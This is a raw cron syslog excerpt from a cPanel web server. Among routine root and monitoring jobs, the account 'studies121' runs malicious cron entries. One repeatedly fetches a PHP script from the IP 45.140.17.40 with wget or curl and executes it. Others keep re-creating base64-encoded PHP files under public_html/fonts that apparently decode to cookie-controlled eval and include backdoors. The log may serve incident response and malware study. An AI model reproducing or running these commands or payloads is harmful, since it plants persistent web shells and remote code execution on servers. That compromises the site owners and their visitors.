Sep 13 02:40:02 ip-184-168-122-23 CROND[888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:40:02 ip-184-168-122-23 CROND[890]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:40:02 ip-184-168-122-23 CROND[885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:40:02 ip-184-168-122-23 CROND[891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:40:02 ip-184-168-122-23 CROND[886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:40:02 ip-184-168-122-23 CROND[892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:41:01 ip-184-168-122-23 CROND[1006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:41:01 ip-184-168-122-23 CROND[1008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:41:01 ip-184-168-122-23 CROND[1009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:41:01 ip-184-168-122-23 CROND[1010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:42:01 ip-184-168-122-23 CROND[1100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:42:01 ip-184-168-122-23 CROND[1102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:42:01 ip-184-168-122-23 CROND[1103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:42:01 ip-184-168-122-23 CROND[1104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:42:01 ip-184-168-122-23 CROND[1105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:43:01 ip-184-168-122-23 CROND[1313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:43:01 ip-184-168-122-23 CROND[1314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:43:01 ip-184-168-122-23 CROND[1315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:43:01 ip-184-168-122-23 CROND[1316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:44:01 ip-184-168-122-23 CROND[1399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:44:01 ip-184-168-122-23 CROND[1415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:44:01 ip-184-168-122-23 CROND[1417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:44:01 ip-184-168-122-23 CROND[1433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:44:01 ip-184-168-122-23 CROND[1434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:45:01 ip-184-168-122-23 CROND[1550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:45:01 ip-184-168-122-23 CROND[1553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:45:01 ip-184-168-122-23 CROND[1554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:45:01 ip-184-168-122-23 CROND[1558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:45:01 ip-184-168-122-23 CROND[1552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:45:01 ip-184-168-122-23 CROND[1556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:46:01 ip-184-168-122-23 CROND[1661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:46:01 ip-184-168-122-23 CROND[1663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:46:01 ip-184-168-122-23 CROND[1665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:46:01 ip-184-168-122-23 CROND[1668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:46:01 ip-184-168-122-23 CROND[1671]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 02:46:01 ip-184-168-122-23 CROND[1669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:46:01 ip-184-168-122-23 CROND[1670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:47:02 ip-184-168-122-23 CROND[1759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:47:02 ip-184-168-122-23 CROND[1760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:47:02 ip-184-168-122-23 CROND[1761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:47:02 ip-184-168-122-23 CROND[1762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:48:01 ip-184-168-122-23 CROND[1930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:48:01 ip-184-168-122-23 CROND[1932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:48:01 ip-184-168-122-23 CROND[1933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:48:01 ip-184-168-122-23 CROND[1934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:48:01 ip-184-168-122-23 CROND[1935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:49:01 ip-184-168-122-23 CROND[2024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:49:01 ip-184-168-122-23 CROND[2025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:49:01 ip-184-168-122-23 CROND[2028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:49:01 ip-184-168-122-23 CROND[2029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2134]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:50:02 ip-184-168-122-23 CROND[2142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:50:02 ip-184-168-122-23 CROND[2143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:51:01 ip-184-168-122-23 CROND[2242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:51:01 ip-184-168-122-23 CROND[2244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:51:01 ip-184-168-122-23 CROND[2245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:51:01 ip-184-168-122-23 CROND[2243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:52:01 ip-184-168-122-23 CROND[2369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:52:01 ip-184-168-122-23 CROND[2368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:52:01 ip-184-168-122-23 CROND[2372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:52:01 ip-184-168-122-23 CROND[2375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
